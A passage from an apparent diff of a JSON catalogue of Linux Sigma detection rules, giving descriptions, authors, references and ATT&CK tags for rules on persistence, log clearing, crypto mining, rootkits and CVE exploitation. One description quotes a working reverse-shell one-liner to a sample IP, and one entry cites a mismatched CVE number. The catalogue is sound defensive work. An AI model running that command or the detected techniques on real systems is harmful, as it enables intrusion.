"2017/08/24", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_susp_jexboss.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://www.us-cert.gov/ncas/analysis-reports/AR18-312A", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_susp_jexboss.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.004" - ] - }, - "uuid": "8ec2c8b4-557a-4121-b87c-5dfb3a602fae", - "value": "JexBoss Command Sequence" - }, - { - "description": "Detects suspicious command lines that look as if they would create symbolic links to /etc/passwd", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/04/05", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_symlink_etc_passwd.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://www.qualys.com/2021/05/04/21nails/21nails.txt", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_symlink_etc_passwd.yml" - ], - "tags": [ - "attack.t1204.001", - "attack.execution" - ] - }, - "uuid": "c67fc22a-0be5-4b4f-aad5-2b32c4b69523", - "value": "Symlink Etc Passwd" - }, - { - "description": "Detects the creation of doas.conf file in linux host platform.", - "meta": { - "author": "Sittikorn S, Teoderick Contreras", - "creation_date": "2022/01/20", - "falsepositive": [ - "Unlikely" - ], - "filename": "file_create_lnx_doas_conf_creation.yml", - "level": "medium", - "logsource.category": "file_create", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_doas_conf_creation.yml", - "https://research.splunk.com/endpoint/linux_doas_conf_file_creation/", - "https://www.makeuseof.com/how-to-install-and-use-doas/" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548" - ] - }, - "uuid": "00eee2a5-fdb0-4746-a21d-e43fbdea5681", - "value": "Linux Doas Conf File Creation" - }, - { - "description": "Detects creation of cron file or files in Cron directories which could indicates potential persistence.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "creation_date": "2021/10/15", - "falsepositive": [ - "Any legitimate cron file." - ], - "filename": "file_create_lnx_persistence_cron_files.yml", - "level": "medium", - "logsource.category": "file_create", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_persistence_cron_files.yml", - "https://github.com/microsoft/MSTIC-Sysmon/blob/f1477c0512b0747c1455283069c21faec758e29d/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml" - ], - "tags": [ - "attack.persistence", - "attack.t1053.003" - ] - }, - "uuid": "6c4e2f43-d94d-4ead-b64d-97e53fa2bd05", - "value": "Persistence Via Cron Files" - }, - { - "description": "Detects creation of sudoers file or files in \"sudoers.d\" directory which can be used a potential method to persiste privileges for a specific user.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/05", - "falsepositive": [ - "Creation of legitimate files in sudoers.d folder part of administrator work" - ], - "filename": "file_create_lnx_persistence_sudoers_files.yml", - "level": "medium", - "logsource.category": "file_create", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_persistence_sudoers_files.yml", - "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh" - ], - "tags": [ - "attack.persistence", - "attack.t1053.003" - ] - }, - "uuid": "ddb26b76-4447-4807-871f-1b035b2bfa5d", - "value": "Persistence Via Sudoers Files" - }, - { - "description": "Detects the creation of the file \"rootlog\" which is used by the TripleCross rootkit as a way to check if the backdoor is already running.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/05", - "falsepositive": [ - "Unlikely" - ], - "filename": "file_create_lnx_triple_cross_rootkit_lock_file.yml", - "level": "high", - "logsource.category": "file_create", - "logsource.product": "linux", - "refs": [ - "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L33", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_triple_cross_rootkit_lock_file.yml" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "c0239255-822c-4630-b7f1-35362bcb8f44", - "value": "Triple Cross eBPF Rootkit Default LockFile" - }, - { - "description": "Detects the creation of \"ebpfbackdoor\" files in both \"cron.d\" and \"sudoers.d\" directories. Which both are related to the TripleCross persistence method", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/05", - "falsepositive": [ - "Unlikely" - ], - "filename": "file_create_lnx_triple_cross_rootkit_persistence.yml", - "level": "high", - "logsource.category": "file_create", - "logsource.product": "linux", - "refs": [ - "https://github.com/h3xduck/TripleCross/blob/12629558b8b0a27a5488a0b98f1ea7042e76f8ab/apps/deployer.sh", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_triple_cross_rootkit_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.t1053.003" - ] - }, - "uuid": "1a2ea919-d11d-4d1e-8535-06cda13be20f", - "value": "Triple Cross eBPF Rootkit Default Persistence" - }, - { - "description": "Detects multiple blocks by the mod_security module (Web Application Firewall)", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/02/28", - "falsepositive": [ - "Vulnerability scanners", - "Frequent attacks if system faces Internet" - ], - "filename": "modsec_mulitple_blocks.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/modsecurity/modsec_mulitple_blocks.yml" - ], - "tags": [ - "attack.impact", - "attack.t1499" - ] - }, - "uuid": "a06eea10-d932-4aa6-8ba9-186df72c8d23", - "value": "Multiple Modsecurity Blocks" - }, - { - "description": "Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/10/16", - "falsepositive": [ - "Unknown" - ], - "filename": "net_connection_lnx_back_connect_shell_dev.yml", - "level": "critical", - "logsource.category": "network_connection", - "logsource.product": "linux", - "refs": [ - "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_back_connect_shell_dev.yml" - ], - "tags": "No established tags" - }, - "uuid": "83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871", - "value": "Linux Reverse Shell Indicator" - }, - { - "description": "Detects process connections to a Monero crypto mining pool", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/10/26", - "falsepositive": [ - "Legitimate use of crypto miners" - ], - "filename": "net_connection_lnx_crypto_mining_indicators.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_crypto_mining_indicators.yml", - "https://www.poolwatch.io/coin/monero" - ], - "tags": "No established tags" - }, - "uuid": "a46c93b7-55ed-4d27-a41b-c259456c4746", - "value": "Linux Crypto Mining Pool Connections" - }, - { - "description": "Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/11/03", - "falsepositive": [ - "Legitimate use of ngrok" - ], - "filename": "net_connection_lnx_ngrok_tunnel.yml", - "level": "high", - "logsource.category": "network_connection", - "logsource.product": "linux", - "refs": [ - "https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent", - "https://twitter.com/hakluke/status/1587733971814977537/photo/1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_ngrok_tunnel.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.command_and_control", - "attack.t1567", - "attack.t1568.002", - "attack.t1572", - "attack.t1090", - "attack.t1102", - "attack.s0508" - ] - }, - "uuid": "19bf6fdb-7721-4f3d-867f-53467f6a5db6", - "value": "Communication To Ngrok Tunneling Service - Linux" - }, - { - "description": "Detects relevant ClamAV messages", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/03/01", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_clamav.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/clam_av_rules.xml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_clamav.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1588.001" - ] - }, - "uuid": "36aa86ca-fd9d-4456-814e-d3b1b8e1e0bb", - "value": "Relevant ClamAV Message" - }, - { - "description": "Detects disabling security tools", - "meta": { - "author": "Ömer Günal, Alejandro Ortuno, oscd.community", - "creation_date": "2020/06/17", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "lnx_security_tools_disabling_syslog.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_security_tools_disabling_syslog.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ] - }, - "uuid": "49f5dfc1-f92e-4d34-96fa-feba3f6acf36", - "value": "Disabling Security Tools" - }, - { - "description": "Detects exploitation attempt using public exploit code for CVE-2018-15473", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/08/24", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_ssh_cve_2018_15473.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/Rhynorater/CVE-2018-15473-Exploit", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_ssh_cve_2018_15473.yml" - ], - "tags": [ - "attack.reconnaissance", - "attack.t1589" - ] - }, - "uuid": "4c9d903d-4939-4094-ade0-3cb748f4d7da", - "value": "SSHD Error Message CVE-2018-15473" - }, - { - "description": "Detects suspicious failed logins with different user accounts from a single source system", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/02/16", - "falsepositive": [ - "Terminal servers", - "Jump servers", - "Workstations with frequently changing users" - ], - "filename": "lnx_susp_failed_logons_single_source.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_failed_logons_single_source.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1110" - ] - }, - "uuid": "fc947f8e-ea81-4b14-9a7b-13f888f94e18", - "value": "Failed Logins with Different Accounts from Single Source System" - }, - { - "description": "Detects suspicious session with two users present", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/07/03", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_susp_guacamole.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://research.checkpoint.com/2020/apache-guacamole-rce/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_guacamole.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1212" - ] - }, - "uuid": "1edd77db-0669-4fef-9598-165bda82826d", - "value": "Guacamole Two Users Sharing Session Anomaly" - }, - { - "description": "Detects suspicious DNS error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/02/20", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_susp_named.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/named_rules.xml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_named.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "c8e35e96-19ce-4f16-aeb6-fd5588dc5365", - "value": "Suspicious Named Error" - }, - { - "description": "Detects suspicious SSH / SSHD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/06/30", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_susp_ssh.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/openssh/openssh-portable/blob/c483a5c0fb8e8b8915fad85c5f6113386a4341ca/ssherr.c", - "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/sshd_rules.xml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_ssh.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "e76b413a-83d0-4b94-8e4c-85db4a5b8bdc", - "value": "Suspicious OpenSSH Daemon Error" - }, - { - "description": "Detects suspicious VSFTPD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/07/05", - "falsepositive": [ - "Unknown" - ], - "filename": "lnx_susp_vsftp.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "linux", - "refs": [ - "https://github.com/dagwieers/vsftpd/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_vsftp.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190" - ] - }, - "uuid": "377f33a1-4b36-4ee1-acee-1dbe4b43cfbe", - "value": "Suspicious VSFTPD Error Messages" - }, - { - "description": "Detects the use of at/atd which are utilities that are used to schedule tasks.\nThey are often abused by adversaries to maintain persistence or to perform task scheduling for initial or recurring execution of malicious code\n", - "meta": { - "author": "Ömer Günal, oscd.community", - "creation_date": "2020/10/06", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_at_command.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.002/T1053.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_at_command.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1053.002" - ] - }, - "uuid": "d2d642d7-b393-43fe-bae4-e81ed5915c4b", - "value": "Scheduled Task/Job At" - }, - { - "description": "Detects usage of base64 utility to decode arbitrary base64-encoded text", - "meta": { - "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/19", - "falsepositive": [ - "Legitimate activities" - ], - "filename": "proc_creation_lnx_base64_decode.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_decode.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027" - ] - }, - "uuid": "e2072cab-8c9a-459b-b63c-40ae79e27031", - "value": "Decode Base64 Encoded Text" - }, - { - "description": "Detects suspicious process command line that uses base64 encoded input for execution with a shell", - "meta": { - "author": "pH-T", - "creation_date": "2022/07/26", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_base64_execution.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/arget13/DDexec", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1140" - ] - }, - "uuid": "ba592c6d-6888-43c3-b8c6-689b8fe47337", - "value": "Linux Base64 Encoded Pipe to Shell" - }, - { - "description": "Detects the presence of a base64 version of the shebang in the commandline, which could indicate a malicious payload about to be decoded", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/15", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_base64_shebang_cli.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml", - "https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1140" - ] - }, - "uuid": "fe2f9663-41cb-47e2-b954-8a228f3b9dff", - "value": "Linux Base64 Encoded Shebang In CLI" - }, - { - "description": "Detects the usage of the unsafe bpftrace option", - "meta": { - "author": "Andreas Hunkeler (@Karneades)", - "creation_date": "2022/02/11", - "falsepositive": [ - "Legitimate usage of the unsafe option" - ], - "filename": "proc_creation_lnx_bpftrace_unsafe_option_usage.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://bpftrace.org/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bpftrace_unsafe_option_usage.yml", - "https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/" - ], - "tags": [ - "attack.execution", - "attack.t1059.004" - ] - }, - "uuid": "f8341cb2-ee25-43fa-a975-d8a5a9714b39", - "value": "BPFtrace Unsafe Option Usage" - }, - { - "description": "Detects the execution of a cat /etc/sudoers to list all users that have sudo rights", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/06/20", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_cat_sudoers.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cat_sudoers.yml", - "https://github.com/sleventyeleven/linuxprivchecker/" - ], - "tags": [ - "attack.reconnaissance", - "attack.t1592.004" - ] - }, - "uuid": "0f79c4d2-4e1f-4683-9c36-b5469a665e06", - "value": "Cat Sudoers" - }, - { - "description": "Detects usage of the 'chattr' utility to remove immutable file attribute.", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/15", - "falsepositive": [ - "Administrator interacting with immutable files (e.g. for instance backups)." - ], - "filename": "proc_creation_lnx_chattr_immutable_removal.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_chattr_immutable_removal.yml", - "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1222.002" - ] - }, - "uuid": "34979410-e4b5-4e5d-8cfb-389fdff05c12", - "value": "Remove Immutable File Attribute" - }, - { - "description": "Detects attempts to clear logs on the system. Adversaries may clear system logs to hide evidence of an intrusion", - "meta": { - "author": "Ömer Günal, oscd.community", - "creation_date": "2020/10/07", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_clear_logs.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clear_logs.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.002" - ] - }, - "uuid": "80915f59-9b56-4616-9de0-fd0dea6c12fe", - "value": "Clear Linux Logs" - }, - { - "description": "Detects specific commands commonly used to remove or empty the syslog. Which is often used by attacker as a method to hide their tracks", - "meta": { - "author": "Max Altgelt, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "creation_date": "2021/10/15", - "falsepositive": [ - "Log rotation." - ], - "filename": "proc_creation_lnx_clear_syslog.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clear_syslog.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.002" - ] - }, - "uuid": "3fcc9b35-39e4-44c0-a2ad-9e82b6902b31", - "value": "Commands to Clear or Remove the Syslog" - }, - { - "description": "Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", - "meta": { - "author": "Pawel Mazur, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "creation_date": "2021/10/15", - "falsepositive": [ - "Legitimate usage of xclip tools." - ], - "filename": "proc_creation_lnx_clipboard_collection.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clipboard_collection.yml", - "https://www.packetlabs.net/posts/clipboard-data-security/" - ], - "tags": [ - "attack.collection", - "attack.t1115" - ] - }, - "uuid": "ec127035-a636-4b9a-8555-0efd4e59f316", - "value": "Clipboard Collection with Xclip Tool" - }, - { - "description": "Detects usage of the 'crontab' utility to remove the current crontab.\nThis is a common occurrence where cryptocurrency miners compete against each other by removing traces of other miners to hijack the maximum amount of resources possible\n", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/15", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_lnx_crontab_removal.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crontab_removal.yml" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "c2e234de-03a3-41e1-b39a-1e56dc17ba67", - "value": "Remove Scheduled Cron Task/Job" - }, - { - "description": "Detects command line parameters or strings often used by crypto miners", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/10/26", - "falsepositive": [ - "Legitimate use of crypto miners" - ], - "filename": "proc_creation_lnx_crypto_mining.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crypto_mining.yml", - "https://www.poolwatch.io/coin/monero" - ], - "tags": "No established tags" - }, - "uuid": "9069ea3c-b213-4c52-be13-86506a227ab1", - "value": "Linux Crypto Mining Indicators" - }, - { - "description": "Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/15", - "falsepositive": [ - "Scripts created by developers and admins", - "Administrative activity" - ], - "filename": "proc_creation_lnx_curl_usage.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_curl_usage.yml", - "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "ea34fb97-e2c4-4afb-810f-785e4459b194", - "value": "Curl Usage on Linux" - }, - { - "description": "Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_lnx_cve_2022_26134_atlassian_confluence.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cve_2022_26134_atlassian_confluence.yml", - "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/" - ], - "tags": [ - "attack.initial_access", - "attack.execution", - "attack.t1190", - "attack.t1059", - "cve.2022.26134" - ] - }, - "uuid": "7fb14105-530e-4e2e-8cfb-99f7d8700b66", - "value": "Atlassian Confluence CVE-2022-26134" - }, - { - "description": "Detects attempts to exploit an apache spark server via CVE-2014-6287 from a commandline perspective", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/20", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_lnx_cve_2022_33891_spark_shell_command_injection.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py", - "https://github.com/apache/spark/pull/36315/files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cve_2022_33891_spark_shell_command_injection.yml", - "https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2022.33891" - ] - }, - "uuid": "c8a5f584-cdc8-42cc-8cce-0398e4265de3", - "value": "Apache Spark Shell Command Injection - ProcessCreation" - }, - { - "description": "Detects potential overwriting and deletion of a file using DD.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "creation_date": "2021/10/15", - "falsepositive": [ - "Any user deleting files that way." - ], - "filename": "proc_creation_lnx_dd_file_overwrite.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_dd_file_overwrite.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-2---macoslinux---overwrite-file-with-dd" - ], - "tags": [ - "attack.impact", - "attack.t1485" - ] - }, - "uuid": "2953194b-e33c-4859-b9e8-05948c167447", - "value": "DD File Overwrite" - }, - { - "description": "Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root, the same way sudo does.", - "meta": { - "author": "Sittikorn S, Teoderick Contreras", - "creation_date": "2022/01/20", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_lnx_doas_execution.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_doas_execution.yml", - "https://www.makeuseof.com/how-to-install-and-use-doas/", - "https://research.splunk.com/endpoint/linux_doas_tool_execution/" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548" - ] - }, - "uuid": "067d8238-7127-451c-a9ec-fa78045b618b", - "value": "Linux Doas Tool Execution" - }, - { - "description": "Detects usage of system utilities to discover files and directories", - "meta": { - "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/19", - "falsepositive": [ - "Legitimate activities" - ], - "filename": "proc_creation_lnx_file_and_directory_discovery.yml", - "level": "informational", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_file_and_directory_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1083" - ] - }, - "uuid": "d3feb4ee-ff1d-4d3d-bd10-5b28a238cc72", - "value": "File and Directory Discovery" - }, - { - "description": "Detects file deletion using \"rm\", \"shred\" or \"unlink\" commands which are used often by adversaries to delete files left behind by the actions of their intrusion activity", - "meta": { - "author": "Ömer Günal, oscd.community", - "creation_date": "2020/10/07", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_file_deletion.yml", - "level": "informational", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_file_deletion.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.004" - ] - }, - "uuid": "30aed7b6-d2c1-4eaf-9382-b6bc43e50c57", - "value": "File Deletion" - }, - { - "description": "Detects installation of new certificate on the system which attackers may use to avoid warnings when connecting to controlled web servers or C2s", - "meta": { - "author": "Ömer Günal, oscd.community", - "creation_date": "2020/10/05", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_lnx_install_root_certificate.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "linux", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_install_root_certificate.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1553.004" - ] - }, - "uuid": "78a80655-a51e-4669-bc6b-e9d206a462ee", - "value": "Install Root Certificate" - }, - { - "description": "Detects enumeration of local systeam accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.", - "meta": { - "author": "Alejandro 